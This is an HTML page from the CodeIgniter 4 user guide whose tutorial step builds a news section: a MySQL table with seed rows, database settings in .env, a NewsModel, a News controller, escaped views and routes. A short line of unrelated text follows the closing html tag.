<li class="toctree-l2"><a class="reference internal" href="../database/metadata.html">Getting MetaData</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/call_function.html">Custom Function Calls</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/events.html">Database Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/utilities.html">Database Utilities</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../models/index.html">Modeling Data</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../models/model.html">Using CodeIgniter's Model</a></li>
<li class="toctree-l2"><a class="reference internal" href="../models/entities.html">Using Entity Classes</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../dbmgmt/index.html">Managing Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/forge.html">Database Manipulation with Database Forge</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/migration.html">Database Migrations</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/seeds.html">Database Seeding</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../libraries/index.html">Library Reference</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../libraries/caching.html">Caching Driver</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/curlrequest.html">CURLRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/email.html">Email Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/encryption.html">Encryption Service</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/files.html">Working with Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/honeypot.html">Honeypot Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/images.html">Image Manipulation Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/pagination.html">Pagination</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/security.html">Security</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/sessions.html">Session Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/throttler.html">Throttler</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/time.html">Times and Dates</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/typography.html">Typography</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uploaded_files.html">Working with Uploaded Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uri.html">Working with URIs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/user_agent.html">User Agent Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/validation.html">Validation</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../helpers/index.html">Helpers</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../helpers/array_helper.html">Array Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/cookie_helper.html">Cookie Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/date_helper.html">Date Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/filesystem_helper.html">Filesystem Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/form_helper.html">Form Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/html_helper.html">HTML Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/inflector_helper.html">Inflector Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/number_helper.html">Number Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/security_helper.html">Security Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/test_helper.html">Test Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/text_helper.html">Text Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/url_helper.html">URL Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/xml_helper.html">XML Helper</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../testing/index.html">Testing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../testing/overview.html">Getting Started</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/database.html">Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/fabricator.html">Generating Data</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/controllers.html">Controller Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/feature.html">HTTP Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/benchmark.html">Benchmarking</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/debugging.html">Debugging Your Application</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../cli/index.html">Command Line Usage</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli.html">Running via the Command Line</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_commands.html">Custom CLI Commands</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_generators.html">CLI Generators</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_library.html">CLI Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_request.html">CLIRequest Class</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../extending/index.html">Extending CodeIgniter</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../extending/core_classes.html">Creating Core System Classes</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/common.html">Replacing Common Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/events.html">Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/basecontroller.html">Extending the Controller</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/authentication.html">Authentication</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/contributing.html">Contributing to CodeIgniter</a></li>
</ul>
</li>
</ul>

            
          
        </div>
        
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="../index.html">CodeIgniter</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          

















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="../index.html" class="icon icon-home"></a> &raquo;</li>
        
          <li><a href="index.html">Build Your First Application</a> &raquo;</li>
        
      <li>News section</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="news-section">
<h1>News section<a class="headerlink" href="#news-section" title="Permalink to this headline">¶</a></h1>
<p>In the last section, we went over some basic concepts of the framework
by writing a class that references static pages. We cleaned up the URI by
adding custom routing rules. Now it’s time to introduce dynamic content
and start using a database.</p>
<div class="section" id="create-a-database-to-work-with">
<h2>Create a database to work with<a class="headerlink" href="#create-a-database-to-work-with" title="Permalink to this headline">¶</a></h2>
<p>The CodeIgniter installation assumes that you have set up an appropriate
database, as outlined in the <a class="reference internal" href="../intro/requirements.html"><span class="doc">requirements</span></a>.
In this tutorial, we provide SQL code for a MySQL database, and
we also assume that you have a suitable client for issuing database
commands (mysql, MySQL Workbench, or phpMyAdmin).</p>
<p>You need to create a database that can be used for this tutorial,
and then configure CodeIgniter to use it.</p>
<p>Using your database client, connect to your database and run the SQL command below (MySQL).
Also, add some seed records. For now, we’ll just show you the SQL statements needed
to create the table, but you should be aware that this can be done programmatically
once you are more familiar with CodeIgniter; you can read about <a class="reference internal" href="../dbmgmt/migration.html"><span class="doc">Migrations</span></a>
and <a class="reference internal" href="../dbmgmt/seeds.html"><span class="doc">Seeds</span></a> to create more useful database setups later.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">CREATE</span> <span class="nx">TABLE</span> <span class="nx">news</span> <span class="p">(</span>
    <span class="nx">id</span> <span class="nx">int</span><span class="p">(</span><span class="mi">11</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="nx">AUTO_INCREMENT</span><span class="p">,</span>
    <span class="nx">title</span> <span class="nx">varchar</span><span class="p">(</span><span class="mi">128</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="nx">slug</span> <span class="nx">varchar</span><span class="p">(</span><span class="mi">128</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="nx">body</span> <span class="nx">text</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="nx">PRIMARY</span> <span class="nx">KEY</span> <span class="p">(</span><span class="nx">id</span><span class="p">),</span>
    <span class="nx">KEY</span> <span class="nx">slug</span> <span class="p">(</span><span class="nx">slug</span><span class="p">)</span>
<span class="p">);</span>
</pre></div>
</div>
<p>A note of interest: a “slug”, in the context of web publishing, is a
user- and SEO-friendly short text used in a URL to identify and describe a resource.</p>
<p>The seed records might be something like:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">INSERT</span> <span class="nx">INTO</span> <span class="nx">news</span> <span class="nx">VALUES</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s1">&#39;Elvis sighted&#39;</span><span class="p">,</span><span class="s1">&#39;elvis-sighted&#39;</span><span class="p">,</span><span class="s1">&#39;Elvis was sighted at the Podunk internet cafe. It looked like he was writing a CodeIgniter app.&#39;</span><span class="p">),</span>
<span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s1">&#39;Say it isn\&#39;t so!&#39;</span><span class="p">,</span><span class="s1">&#39;say-it-isnt-so&#39;</span><span class="p">,</span><span class="s1">&#39;Scientists conclude that some programmers have a sense of humor.&#39;</span><span class="p">),</span>
<span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s1">&#39;Caffeination, Yes!&#39;</span><span class="p">,</span><span class="s1">&#39;caffeination-yes&#39;</span><span class="p">,</span><span class="s1">&#39;World\&#39;s largest coffee shop open onsite nested coffee shop for staff only.&#39;</span><span class="p">);</span>
</pre></div>
</div>
</div>
<div class="section" id="connect-to-your-database">
<h2>Connect to your database<a class="headerlink" href="#connect-to-your-database" title="Permalink to this headline">¶</a></h2>
<p>The local configuration file, <code class="docutils literal notranslate"><span class="pre">.env</span></code>, that you created when you installed
CodeIgniter, should have the database property settings uncommented and
set appropriately for the database you want to use. Make sure you’ve configured
your database properly as described <a class="reference internal" href="../database/configuration.html"><span class="doc">here</span></a>.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">database</span><span class="o">.</span><span class="k">default</span><span class="o">.</span><span class="nx">hostname</span> <span class="o">=</span> <span class="nx">localhost</span>
<span class="nx">database</span><span class="o">.</span><span class="k">default</span><span class="o">.</span><span class="nx">database</span> <span class="o">=</span> <span class="nx">ci4tutorial</span>
<span class="nx">database</span><span class="o">.</span><span class="k">default</span><span class="o">.</span><span class="nx">username</span> <span class="o">=</span> <span class="nx">root</span>
<span class="nx">database</span><span class="o">.</span><span class="k">default</span><span class="o">.</span><span class="nx">password</span> <span class="o">=</span> <span class="nx">root</span>
<span class="nx">database</span><span class="o">.</span><span class="k">default</span><span class="o">.</span><span class="nx">DBDriver</span> <span class="o">=</span> <span class="nx">MySQLi</span>
</pre></div>
</div>
</div>
<div class="section" id="setting-up-your-model">
<h2>Setting up your model<a class="headerlink" href="#setting-up-your-model" title="Permalink to this headline">¶</a></h2>
<p>Instead of writing database operations right in the controller, queries
should be placed in a model, so they can easily be reused later. Models
are the place where you retrieve, insert, and update information in your
database or other data stores. They provide access to your data.
You can read more about it <a class="reference internal" href="../models/model.html"><span class="doc">here</span></a>.</p>
<p>Open up the <strong>app/Models/</strong> directory and create a new file called
<strong>NewsModel.php</strong> and add the following code.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">App\Models</span><span class="p">;</span>

<span class="k">use</span> <span class="nx">CodeIgniter\Model</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">NewsModel</span> <span class="k">extends</span> <span class="nx">Model</span>
<span class="p">{</span>
    <span class="k">protected</span> <span class="nv">$table</span> <span class="o">=</span> <span class="s1">&#39;news&#39;</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>This code looks similar to the controller code that was used earlier. It
creates a new model by extending <code class="docutils literal notranslate"><span class="pre">CodeIgniter\Model</span></code> and loads the database
library. This will make the database class available through the
<code class="docutils literal notranslate"><span class="pre">$this-&gt;db</span></code> object.</p>
<p>Now that the database and a model have been set up, you’ll need a method
to get all of our posts from our database. To do this, the database
abstraction layer that is included with CodeIgniter —
<a class="reference internal" href="../database/query_builder.html"><span class="doc">Query Builder</span></a> — is used. This makes it
possible to write your ‘queries’ once and make them work on <a class="reference internal" href="../intro/requirements.html"><span class="doc">all
supported database systems</span></a>. The Model class
also allows you to easily work with the Query Builder and provides
some additional tools to make working with data simpler. Add the
following code to your model.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">getNews</span><span class="p">(</span><span class="nv">$slug</span> <span class="o">=</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$slug</span> <span class="o">===</span> <span class="k">false</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">findAll</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">asArray</span><span class="p">()</span>
                <span class="o">-&gt;</span><span class="na">where</span><span class="p">([</span><span class="s1">&#39;slug&#39;</span> <span class="o">=&gt;</span> <span class="nv">$slug</span><span class="p">])</span>
                <span class="o">-&gt;</span><span class="na">first</span><span class="p">();</span>
<span class="p">}</span>
</pre></div>
</div>
<p>With this code, you can perform two different queries. You can get all
news records, or get a news item by its <a class="reference external" href="#">slug</a>. You might have
noticed that the <code class="docutils literal notranslate"><span class="pre">$slug</span></code> variable wasn’t sanitized before running the
query; <a class="reference internal" href="../database/query_builder.html"><span class="doc">Query Builder</span></a> does this for you.</p>
<p>The two methods used here, <code class="docutils literal notranslate"><span class="pre">findAll()</span></code> and <code class="docutils literal notranslate"><span class="pre">first()</span></code>, are provided
by the Model class. They already know the table to use based on the <code class="docutils literal notranslate"><span class="pre">$table</span></code>
property we set in <strong>NewsModel</strong> class, earlier. They are helper methods
that use the Query Builder to run their commands on the current table, and
returning an array of results in the format of your choice. In this example,
<code class="docutils literal notranslate"><span class="pre">findAll()</span></code> returns an array of objects.</p>
</div>
<div class="section" id="display-the-news">
<h2>Display the news<a class="headerlink" href="#display-the-news" title="Permalink to this headline">¶</a></h2>
<p>Now that the queries are written, the model should be tied to the views
that are going to display the news items to the user. This could be done
in our <code class="docutils literal notranslate"><span class="pre">Pages</span></code> controller created earlier, but for the sake of clarity,
a new <code class="docutils literal notranslate"><span class="pre">News</span></code> controller is defined. Create the new controller at
<strong>app/Controllers/News.php</strong>.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">App\Controllers</span><span class="p">;</span>

<span class="k">use</span> <span class="nx">App\Models\NewsModel</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">CodeIgniter\Controller</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">News</span> <span class="k">extends</span> <span class="nx">Controller</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$model</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NewsModel</span><span class="p">();</span>

        <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;news&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$model</span><span class="o">-&gt;</span><span class="na">getNews</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="nf">view</span><span class="p">(</span><span class="nv">$slug</span> <span class="o">=</span> <span class="k">null</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$model</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NewsModel</span><span class="p">();</span>

        <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;news&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$model</span><span class="o">-&gt;</span><span class="na">getNews</span><span class="p">(</span><span class="nv">$slug</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Looking at the code, you may see some similarity with the files we
created earlier. First, it extends a core CodeIgniter class, <code class="docutils literal notranslate"><span class="pre">Controller</span></code>,
which provides a couple of helper methods, and makes sure that you have
access to the current <code class="docutils literal notranslate"><span class="pre">Request</span></code> and <code class="docutils literal notranslate"><span class="pre">Response</span></code> objects, as well as the
<code class="docutils literal notranslate"><span class="pre">Logger</span></code> class, for saving information to disk.</p>
<p>Next, there are two methods, one to view all news items, and one for a specific
news item. You can see that the <code class="docutils literal notranslate"><span class="pre">$slug</span></code> variable is passed to the model’s
method in the second method. The model is using this slug to identify the
news item to be returned.</p>
<p>Now the data is retrieved by the controller through our model, but
nothing is displayed yet. The next thing to do is, passing this data to
the views. Modify the <code class="docutils literal notranslate"><span class="pre">index()</span></code> method to look like this:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nv">$model</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NewsModel</span><span class="p">();</span>

    <span class="nv">$data</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s1">&#39;news&#39;</span>  <span class="o">=&gt;</span> <span class="nv">$model</span><span class="o">-&gt;</span><span class="na">getNews</span><span class="p">(),</span>
        <span class="s1">&#39;title&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;News archive&#39;</span><span class="p">,</span>
    <span class="p">];</span>

    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;templates/header&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;news/overview&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;templates/footer&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
<p>The code above gets all news records from the model and assigns it to a
variable. The value for the title is also assigned to the <code class="docutils literal notranslate"><span class="pre">$data['title']</span></code>
element and all data is passed to the views. You now need to create a
view to render the news items. Create <strong>app/Views/news/overview.php</strong>
and add the next piece of code.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;</span><span class="nx">h2</span><span class="o">&gt;&lt;?=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$title</span><span class="p">)</span> <span class="cp">?&gt;</span><span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span>

<span class="cp">&lt;?php</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$news</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nb">is_array</span><span class="p">(</span><span class="nv">$news</span><span class="p">))</span> <span class="o">:</span> <span class="cp">?&gt;</span>

    <span class="cp">&lt;?php</span> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$news</span> <span class="k">as</span> <span class="nv">$news_item</span><span class="p">)</span><span class="o">:</span> <span class="cp">?&gt;</span>

        <span class="p">&lt;</span><span class="nt">h3</span><span class="p">&gt;</span><span class="cp">&lt;?</span><span class="o">=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$news_item</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span><span class="p">&lt;/</span><span class="nt">h3</span><span class="p">&gt;</span>

        <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;main&quot;</span><span class="p">&gt;</span>
            <span class="cp">&lt;?</span><span class="o">=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$news_item</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span>
        <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
        <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&quot;/news/</span><span class="cp">&lt;?</span><span class="o">=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$news_item</span><span class="p">[</span><span class="s1">&#39;slug&#39;</span><span class="p">],</span> <span class="s1">&#39;url&#39;</span><span class="p">)</span> <span class="cp">?&gt;</span><span class="s">&quot;</span><span class="p">&gt;</span>View article<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>

    <span class="cp">&lt;?php</span> <span class="k">endforeach</span><span class="p">;</span> <span class="cp">?&gt;</span>

<span class="cp">&lt;?php</span> <span class="k">else</span> <span class="o">:</span> <span class="cp">?&gt;</span>

    <span class="p">&lt;</span><span class="nt">h3</span><span class="p">&gt;</span>No News<span class="p">&lt;/</span><span class="nt">h3</span><span class="p">&gt;</span>

    <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Unable to find any news for you.<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>

<span class="cp">&lt;?php</span> <span class="k">endif</span> <span class="cp">?&gt;</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">We are again using using <strong>esc()</strong> to help prevent XSS attacks.
But this time we also passed “url” as a second parameter. That’s because
attack patterns are different depending on the context in which the output
is used. You can read more about it <a class="reference internal" href="../general/common_functions.html"><span class="doc">here</span></a>.</p>
</div>
<p>Here, each news item is looped and displayed to the user. You can see we
wrote our template in PHP mixed with HTML. If you prefer to use a template
language, you can use CodeIgniter’s <a class="reference internal" href="../outgoing/view_parser.html"><span class="doc">View
Parser</span></a> or a third party parser.</p>
<p>The news overview page is now done, but a page to display individual
news items is still absent. The model created earlier is made in such
a way that it can easily be used for this functionality. You only need to
add some code to the controller and create a new view. Go back to the
<code class="docutils literal notranslate"><span class="pre">News</span></code> controller and update the <code class="docutils literal notranslate"><span class="pre">view()</span></code> method with the following:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="k">function</span> <span class="nf">view</span><span class="p">(</span><span class="nv">$slug</span> <span class="o">=</span> <span class="k">NULL</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nv">$model</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NewsModel</span><span class="p">();</span>

    <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;news&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$model</span><span class="o">-&gt;</span><span class="na">getNews</span><span class="p">(</span><span class="nv">$slug</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;news&#39;</span><span class="p">]))</span>
    <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nx">\CodeIgniter\Exceptions\PageNotFoundException</span><span class="p">(</span><span class="s1">&#39;Cannot find the news item: &#39;</span><span class="o">.</span> <span class="nv">$slug</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;news&#39;</span><span class="p">][</span><span class="s1">&#39;title&#39;</span><span class="p">];</span>

    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;templates/header&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;news/view&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nx">view</span><span class="p">(</span><span class="s1">&#39;templates/footer&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Instead of calling the <code class="docutils literal notranslate"><span class="pre">getNews()</span></code> method without a parameter, the
<code class="docutils literal notranslate"><span class="pre">$slug</span></code> variable is passed, so it will return the specific news item.
The only thing left to do is create the corresponding view at
<strong>app/Views/news/view.php</strong>. Put the following code in this file.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;</span><span class="nx">h2</span><span class="o">&gt;&lt;?=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$news</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span><span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span><span class="cp">&lt;?</span><span class="o">=</span> <span class="nx">esc</span><span class="p">(</span><span class="nv">$news</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</pre></div>
</div>
</div>
<div class="section" id="routing">
<h2>Routing<a class="headerlink" href="#routing" title="Permalink to this headline">¶</a></h2>
<p>Because of the wildcard routing rule created earlier, you need an extra
route to view the controller that you just made. Modify your routing file
(<strong>app/Config/Routes.php</strong>) so it looks as follows.
This makes sure the requests reach the <code class="docutils literal notranslate"><span class="pre">News</span></code> controller instead of
going directly to the <code class="docutils literal notranslate"><span class="pre">Pages</span></code> controller. The first line routes URI’s
with a slug to the <code class="docutils literal notranslate"><span class="pre">view()</span></code> method in the <code class="docutils literal notranslate"><span class="pre">News</span></code> controller.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$routes</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;news/(:segment)&#39;</span><span class="p">,</span> <span class="s1">&#39;News::view/$1&#39;</span><span class="p">);</span>
<span class="nv">$routes</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;news&#39;</span><span class="p">,</span> <span class="s1">&#39;News::index&#39;</span><span class="p">);</span>
<span class="nv">$routes</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;(:any)&#39;</span><span class="p">,</span> <span class="s1">&#39;Pages::view/$1&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>Point your browser to your “news” page, i.e., <code class="docutils literal notranslate"><span class="pre">localhost:8080/news</span></code>,
you should see a list of the news items, each of which has a link
to display just the one article.</p>
<img alt="../_images/tutorial2.png" class="align-center" src="../_images/tutorial2.png" />
</div>
</div>


           </div>
           
          </div>
          <footer>
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
        <a href="create_news_items.html" class="btn btn-neutral float-right" title="Create news items" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
        <a href="static_pages.html" class="btn btn-neutral float-left" title="Static pages" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
    </div>

  <hr/>

  <div role="contentinfo">
    <p>
        &#169; Copyright 2019-2021 CodeIgniter Foundation.
      <span class="lastupdated">
        Last updated on Feb 01, 2021.
      </span>

    </p>
  </div>
    
    
    
    Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
    
    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
    
    provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>
        </div>
      </div>

    </section>

  </div>
  

  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(false);
      });
  </script>

  
  
    
   

</body>
</html>

Anon7 - 2022
SCDN GOK